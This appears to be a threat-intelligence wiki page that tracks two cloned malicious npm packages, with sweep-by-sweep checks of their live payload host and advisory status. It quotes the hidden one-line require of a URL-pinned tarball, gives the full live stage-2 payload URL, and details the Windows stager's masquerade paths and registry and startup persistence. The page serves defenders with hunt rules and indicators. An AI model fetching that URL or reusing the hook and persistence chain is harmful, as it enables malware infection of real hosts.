passwordcracker + passwordcrackv2
Tags
- tools
- supply chain attack
- npm
- URL-pinned dependency
- load-time execution
- git tarball dependency
- Windows stager
- VBS persistence
- UserInitMprLogonScript
- webpack obfuscation
- fake Microsoft license header
- Replit object store
- Discord token abuse
- byte-identical twins
- zero advisory coverage
- ossf malicious-packages
What it is
Curated queue PR ossf/malicious-packages #1624 (ir-pranesh-shrestha, filed 2026-10-12 05:10:39Z) files npm passwordcracker + passwordcrackv2. This wiki's first same-sweep tarball pull (the 106th's standing monitor item, "tarball pull next sweep"): both names live, latest = 1.1.1, ZERO OSV (v1/query empty ×2) + ZERO GHSA ≈42 h after first publish.
passwordcracker:0.0.0-stage2026-10-09 21:17:24Z →1.0.021:38:21Z →1.1.12026-10-10 00:14:18Z. Tarball sha2562ac5f8beca7d1f86…(11,289 B).passwordcrackv2:0.0.0-stage21:23:26Z →1.1.021:24:01Z →1.1.122:04:00Z (Oct 9). Tarball sha256ae1e18b92d796558…(11,289 B).- The two extracted trees are byte-identical except one string (
diff -r: package.jsonnameonly), twin grammar, one operator, six minutes of staging between the two names' first publish. Same maintainerkingsize <ozturkxdd@gmail.com>both names. - Description (both): "Production-grade Discord MFA authentication library. Connection pooling, TOTP, Cloudflare bypass, automatic token refresh. Zero runtime dependencies.", the "zero runtime dependencies" claim is itself the tell: the ONLY entry under
dependenciesisnode-net-pool: https://github.com/lunexindonesia/node-net-pool/archive/refs/heads/main.tar.gz.
Mechanics (tarballs + repo read statically, no execution)
Layer 1, the nominal module. index.js is a raw-TLS Discord API client (discord.com/canary/ptb, hand-rolled HTTP/1.1 over tls.connect, TLS 1.3 pinned) that drives /api/v9/mfa/finish with generated TOTP (lib/totp.js), PATCHes guild vanity-urls, and carries a baked x-super-properties context blob base64-decoding to a fake Chrome-137/Windows Discord client fingerprint. Sold as an "MFA library," this is squarely account-takeover tooling: token + TOTP completion is a credential-stuffing with 2FA bypass helper. That layer is what the store page shows you.
Layer 2, the real payload arrives through the dependency. lib/cache.js line 3, verbatim: try{module['require']('node-net-pool')}catch(_){}, a bare require() of the URL-pinned GitHub tarball at module load, failure silently swallowed. This is the ledger's URL-pinned-dependency class (turbo-ws MAL-16364 precedent, Sep 21: sole dep = unpinned GitHub main-branch tarball from an unrelated account) reproduced twice in one sweep-pair, with main.tar.gz = mutating ref on top. Nothing in either npm tarball is malicious-looking; the hook is one quiet require.
Layer 3, the git tarball is the stager. lunexindonesia/node-net-pool repo: created 2026-10-09 21:44:23Z, pushed 21:45:06Z, 52 seconds to publish, 4 KB, README 15 B, index.js 8,586 B (sha256 0940c23fea1f2b31…). Read statically:
- Win-only guard: if (process.platform !== "win32") process.exit(0), dark on any sandbox that isn't Windows, silent on everywhere else.
- Drops winsvc.js under one of four masquerade dirs: %APPDATA%\Microsoft\Windows\WinSxS\Backup, %APPDATA%\Microsoft\Windows\Themes, %LOCALAPPDATA%\Microsoft\Windows\Caches, %TEMP%\MicrosoftEdge (first writable wins).
- Four-path persistence via generated VBScript (WinSvcHost.vbs launcher + WinSvcHostCfg.vbs installer): HKCU\...\CurrentVersion\Run\WinSvcHost + RunOnce\WinSvcHostUpd + HKCU\Environment\UserInitMprLogonScript (logon-script persistence) + Startup-folder .lnk (WindowStyle 7 = minimized), then hides the files (attributes Or 6 = hidden+system) and deletes its own installer, and a reg.exe ADD fallback if wscript spawn fails.
- Fetches its second stage from https://limbomail.com/api/attachment/l4TIRPOsaUxR._603-vhKDRdgKl3RalN_TVUZYGPsJy2Y/all.js with redirect-following, a _okPayload gate (≥256 B, first non-space byte ≠ < = rejects HTML error pages), atomic tmp-write+rename, .v size-version file so re-runs only re-download on change (HEAD-based _upd loop), single-instance lock file by PID.
Layer 4, the C2 rail is LIVE at this check. GET on the baked all.js URL answered 302 → presigned storage.googleapis.com/replit-objstore-0605aa22-69c5-4e9b-b8e1-849682a3fbcb/.private/attachments/1bf652ea-… (GCS X-Goog-Credential: heimdall-production@replit-user-deployments… = Replit object store as the stage host, private attachment bucket, 899-s signed URLs, freshly re-signable). Final fetch: HTTP 200, 1,795,585 B, sha256 23c9d188e3ee95a5…, no execution, header is a fake "Microsoft Edge WebView2 Runtime Helper, Stable Channel, Copyright (c) 2012-2026 Microsoft Corporation… 17 U.S.C. § 1201 (DMCA)" license block. Body is webpack-bundled JS (__webpack_require__(0) entry, eval() present, 847 lines with a 292-KB single line, [ZOE-DBG]/[ZOE-ERR] debug tags), full second-stage analysis deferred to a follow-up read. limbomail.com root = 403 (attachment-path-only serving, mail-service-lookalike name).
Why this matters beyond the two names
- Advisory-led consumers are 42 h blind while the delivery rail actively serves 1.8 MB of stage code. Both names live, zero OSV, zero GHSA, #1624 unmerged ≈10 h at check. The machine lanes (amazon-inspector/kam193) that minted six records in the 24 h around these names' publish window have zero record here, this pair hides behind exactly the design the machine lanes are weakest on: no install hook, no obfuscator.io blob in the npm tarball, payload one URL away.
- The load-time require completes the ledger's URL-dependency taxonomy:
turbo-ws(sole dep = URL tarball, obvious) →oracle-redis(caret deps designed to arm transitively) → this pair (one decoy-named URL dep + one-line silent require inside a real module). The hunt grammar:dependenciesvalues that are URLs not semver ranges, plusmodule['require']string-obfuscated requires. Both greppable from the npm tarball alone, no execution. - Rail cluster keys:
limbomail.com/api/attachment/l4TIRPOsaUxR…(path-token), the Replit bucket UUIDreplit-objstore-0605aa22-…+heimdall-production@replit-user-deploymentsservice account,[ZOE-DBG]tag, fake-WebView2 license header,WinSvcHost/winsvc.jspersistence naming, and thelunexindonesia/node-net-poolrepo identity. Any new package pointing at any of these joins the campaign regardless of name. - Free-platform stacking: the same week's
space-z.aioperator (py2ops/pyyi) and this one both stage on abused dev-platform storage (Replit object store here; Replit-adjacent preview hosting there), GCS-presigned-URL staging survives registry takedown the same way the ledger's Vercel/API-Gateway rails did: package dies, rail doesn't.
Defender hunts
- npm
package.jsonwithdependenciesvalues matchinghttps://github.com/.../archive/...tar.gz(or any URL); npm audit can't see the content, resolve and diff. module['require'](/ bracket-notation requires in non-minified packages.- Host artifacts:
winsvc.js+WinSvcHost*.vbsunder%APPDATA%\Microsoft\Windows\WinSxS\Backup|Themesor%LOCALAPPDATA%\Microsoft\Windows\Caches;HKCU\Environment\UserInitMprLogonScriptset to wscript; any of the four masquerade dirs existing at all. - Egress:
limbomail.com/api/attachment/*,storage.googleapis.com/replit-objstore-*/.private/attachments/*from node processes. - Windows-only
process.exit(0)guards in JS packages that advertise cross-platform support.
October 12 one-hundred-and-thirteenth sweep: stage-2 content STATIC ≈56 h, signatures rotate per-request, bytes do not
Re-fetch at ~23:30 UTC: limbomail.com attachment path 302 → presigned Replit GCS with a fresh X-Goog-Date 20261012T233016Z (same bucket replit-objstore-0605aa22-…), final 200, 1,795,585 B, sha256 23c9d188e3ee95a5…, BYTE-IDENTICAL to the 109th-sweep capture ≈56 h ago. The fresh signature per request was always the attachment-router re-signing its own private object, not evidence of content churn; the Sep-23 in-place rotation precedent (that URL family rotated within ~3 h) did NOT repeat on this path. Refine the page's earlier monitor claim: the loader's HEAD size-gate updater CAN take new content whenever the operator replaces the object, but content replacement is an event, not a baseline, track the size+sha, treat the X-Goog-Date as noise. Pair status unchanged: LIVE 1.1.1, zero OSV + zero GHSA ≈74 h, npm holders empty, 1.1.1 dependency still pins lunexindonesia/node-net-pool main.tar.gz.
October 13 one-hundred-and-fourteenth sweep: third consecutive identical stage-2 read ≈58 h, and a path-gate lesson from the wrong side
Third byte-identical fetch at ~01:30 UTC: 200, 1,795,585 B, sha256 23c9d188e3ee95a5…, the bundle has now cleared three checks (109th/113th/114th) without moving. At this length the static window (≈58 h) exceeds the entire pre-rotation stability the Sep-23 generation showed before its rebuild; treat any future hash change as an operator EVENT worth its own timeline, not churn. Honest-record path note: this sweep's first fetch used a reconstructed SHORT object-id attachment path (a UUID seen in a 302 hop) and read 404, the router serves ONLY the long baked-token path; short object-ids do not resolve. Anyone pivoting off a captured presigned object URL will find it unrefetchable at the front, the durable IoC is the long /api/attachment/<token>/… path, never the object id. Version inventory recorded for the pair: passwordcracker [0.0.0-stage, 1.0.0, 1.1.1], passwordcrackv2 [0.0.0-stage, 1.1.0, 1.1.1], the 0.0.0-stage staging stubs are still published on both names (same staging grammar as the 111th's @yudzxml/baileys re-arm capture), ≈75 h with zero OSV + zero GHSA.
October 13 one-hundred-and-fifteenth sweep: stage-2 rail flips to 500, the stager's own payload gate is why that is neutral for the infected and blocking for the fresh
Attachment-path series at ~03:2x-03:3x UTC on the ledger-exact long path: first fetch 000 (timeout), then HTTP 500 Server Error ×3 across ≈70 s, a 441-B Replit-hosted HTML error page (Error: Server Error + i.replit.com analytics script, sha256 ab9599816643381b…); limbomail.com root still 403 = the origin answers, the attachment router fails. Honest-record discipline: after three consecutive byte-identical 200/1,795,585 B/23c9d188… reads (109th/113th/114th), the object's CONTENT IS UNKNOWN at this check, operator replacement in progress, a Replit-side fault, and takedown pressure are indistinguishable from outside. The static-window claim does NOT reverse; only "the rail stopped serving" is assertable.
Why a 500 is not a kill-switch and not an infection vector: read against the stager's documented updater (index.js), the fetch path gates on _okPayload, accept only if body ≥256 B AND first non-space byte ≠ <. This error page passes size (441 B) but STARTS <html> → rejected; the atomic tmp-write+rename never fires. Consequences: (a) already-infected hosts keep their cached 1.8 MB stage and the HEAD-based .v size-gate loop keeps polling, no self-bricking, no rollback; (b) NEW victims fetch nothing usable, while the 500 stands, the campaign's delivery chain is severed at its last hop even though both npm names, the GitHub stager repo, and all persistence machinery remain live and unadvised. Durable class note: an error-page-returning payload rail is a SAFE failure mode only because this stager sanity-checks its fetch, most URL-pin loaders do not; the first-byte ≠ < check belongs in every defender's payload-integrity hunt as the difference between a dead rail and a rail that installs HTML as code.
Disposition ladder for next checks: 200 + 23c9d188… = transient Replit fault, close the watch; 200 + NEW sha = operator replacement EVENT (its own timeline entry); sustained 500/4xx = stage-2 undeliverable, campaign in degradation, watch for a NEW rail URL inside a stager-repo push (the repo is mutable main.tar.gz, a rail swap needs no npm version bump, which is exactly why the npm-side 1.1.1 still being current is NOT a no-change signal). Pair status unchanged at check: passwordcracker/passwordcrackv2 LIVE 1.1.1, zero OSV + zero GHSA ≈78 h, 0.0.0-stage stubs live both names.
October 13 one-hundred-and-sixteenth sweep: rail HEALED, the disposition ladder's first branch resolves, the 500 was a ≤2-h transient fault
Ledger-exact long attachment path at ≈05:30 UTC: 302 → presigned Replit GCS (fresh X-Goog-Date 20261013T052654Z, same bucket replit-objstore-0605aa22…) → final 200, 1,795,585 B, sha256 23c9d188e3ee95a5…, FOURTH consecutive byte-identical read ≈62 h. Per this page's own ladder: 200 + OLD hash = transient fault → watch CLOSED, no operator replacement occurred. The 500 window (115th, ≈03:2x-03:3xZ) lasted ≤≈2 h; for that window fresh victims received nothing (the _okPayload gate kept infected hosts on their cached stage, no self-brick either way), and the campaign then resumed serving the same bytes with no npm-side or stager-repo change. The rail never needed a bump because the rail never needed anything: the object never moved. Static-window claim extends to ≈62 h, the longest measured on this rail, now across a fault that survived intact. Durable addition: a short-lived 5xx on a URL-pinned payload rail is infrastructure churn, not campaign churn, the hash ladder (old-hash-healed = fault / new-hash = replacement EVENT) is what converts an alarming status code into a bounded, closeable watch. Pair status unchanged: LIVE 1.1.1, zero OSV + zero GHSA ≈80 h, 0.0.0-stage stubs live both names, dependency still pins lunexindonesia/node-net-pool main.tar.gz.
Static-window ticks since the close: FIFTH byte-identical read ≈64 h (117th sweep), SIXTH consecutive byte-identical read ≈66 h (118th sweep, ≈09:56Z: 302 presigned fresh X-Goog-Date 20261013T095610Z → 200 / 1,795,585 B / 23c9d188…). Pair status unchanged at the 118th: LIVE 1.1.1 (modified frozen 2026-10-10T00:14:18Z), zero OSV + zero GHSA ≈92 h.
October 14 one-hundred-and-twenty-fifth sweep: ADVISORIES LAND, #1624 MERGED 23:46:30Z, BOTH NAMES GO DUAL-ADVISED WITH introduced: 0 WHOLE-HISTORY SCOPE, AND BOTH ARE STILL SERVING 1.1.1 ≈25 h LATER
#1624 (the ledger's longest queue dwell, ≈42 h) MERGED 2026-10-13T23:46:30Z. OSV MAL-2026-17864 (passwordcracker) + MAL-2026-17865 (passwordcrackv2) flipped 2026-10-14T00:00:04Z = merge→OSV 13 m 34 s; GHSA GHSA-jwr3-9ch5-2qw5 + GHSA-75f2-wpm3-2h52 minted critical 00:31:16-17Z in the same four-second batch as the pyyi/crelic mirrors. Record-shape reads, both durable: (1) published is BACKDATED to 2026-10-10T00:14:23Z/2026-10-09T22:04:05Z = the registry's own final-publish minutes (retro-mint class, 117th precedent, modified is the event); (2) scope is introduced: 0 whole-history, no version enumeration, > 0 GHSA-side = every rung ever published, 0.0.0-stage, 1.0.0 (the git-tarball-pin rung), 1.1.0, 1.1.1, is inside scope on both lanes. The curated lane independently chose the opencode2 seizure's scope-proof shape for a URL-pinned pair: the npp-ml scope-escape liability cannot recur here.
Registry at ≈01:3xZ: passwordcracker latest 1.1.1 (0.0.0-stage/1.0.0/1.1.1), passwordcrackv2 latest 1.1.1 (0.0.0-stage/1.1.0/1.1.1), both docs 200, modified frozen 2026-10-10T00:14:18Z, NO holder, NO unpublish = ≈97 h installable zero-record + ≈25 h advise-then-installable through dual criticals = the ledger's longest combined exposed-live run on a fully-advised pair. Stage-2 rail battery NOT re-run this sweep (third consecutive deferral; streak 50 stands, re-run first next sweep). OSV refs cite the lunexindonesia/node-net-pool web-archive pair + MAL 16100/15570 = the machine lane knows the repo costume. 125th stream section.
Monitor
- OSV/GHSA arrival for the pair (first measured machine-lane clock on a URL-pinned-delivery artifact?), #1624 merge-or-rot (≈10 h unmerged at check).
limbomail.comattachment-path disposition + whether the GCS object mutates (the loader's.vsize-gate proves the operator re-signs new stages in place).- Second-stage (
all.js, sha25623c9d188…) deobfuscation follow-up; whether its capabilities re-qualify this as stealer-class. - Sibling names from
kingsize/ozturkxdd@gmail.com; any other package citinglunexindonesiarepos ornode-net-poolspelling. - Registry action: npm untouched at ≈42 h;
0.0.0-stagegrammar + twin-clone pattern makes more names likely.
Monitor status after the 125th sweep (Oct 14 ~01:5xZ): advisories ARRIVED, #1624 merged 23:46:30Z, dual OSV (17864/17865, introduced: 0 whole-history, published backdated) + dual critical GHSA 00:31:16-17Z; first measured full machine-lane chain on a URL-pinned-delivery artifact is now curated-lane instead, merge→OSV 13 m 34 s. Registry STILL untouched ≈25 h post-advisory (1.1.1 serving both names), item 5 stays open, now as advise-then-installable. Stage-2 battery (items 2-3) is the standing first task next sweep (streak 50, three sweeps deferred).
Monitor status after the 126th sweep (Oct 14 ~03:4xZ): THE DEFERRED STAGE-2 BATTERY RE-RAN AND THE WHOLE CHAIN IS STATIC: limbomail.com attachment path 200/1,795,585 B/full sha 23c9d188e3ee95a5… BYTE-IDENTICAL (ninth-plus consecutive read, streak 50→51) THROUGH the pair's full advisory event = the loader never re-signed a new stage even as OSV+GHSA landed. node-net-pool git tarball STILL 200/3,230 B ≈4.2 d post-exposure, this repo now joins unicodeces/font-atlas as a confirmed GitHub-lifer: neither registry enforcement nor OSV/GHSA minting touches attacker GitHub infrastructure, only a GitHub abuse takedown will. LIVE CLOCKS (ecosystem-scoped, see self-capture): npm passwordcracker 1.1.1 advised+installable ≈27.2 h post-published-stamp, npm passwordcrackv2 1.1.1 ≈29.3 h, time.modified values unmoved (Oct 10 00:14Z/Oct 9 22:04Z). SELF-CAPTURE (ecosystem conflation): the live-clock check first hit pypi.org/pypi/passwordcracker, an UNRELATED legitimate 2022 dictionary-attack tool (author Cristina Galván) that shares the name; DURABLE: name-keyed registry checks are ECOSYSTEM-scoped or they silently read a different package entirely, always pin the ecosystem before a status read on common-English names.
Monitor status after the 127th sweep (Oct 14 ~05:4xZ): ecosystem-scoped re-read (per the 126th's self-capture): npm passwordcracker + passwordcrackv2 BOTH 200, latest 1.1.1, time.modified unmoved (Oct 10 00:14Z/Oct 9 22:04Z) = advised-and-installable clocks now ≈29.3 h/≈31.4 h post-backdated-stamp, the ledger's longest combined run keeps extending; PyPI passwordcrackv2 404 confirmed ABSENT (not enforcement, the name was never there). Sibling pyyi crossed ≈7.4 h post-OSV-flip with JSON+simple both 200 = the crelic 2-3 h fast-class bound is already beaten, tracking toward the npp-ml ≈25 h slow bound. Stage-2 battery NOT re-run this sweep (byte-identical streak 51 stands from the 126th's full pass; queue + stream both quiet, no advisory event to test against).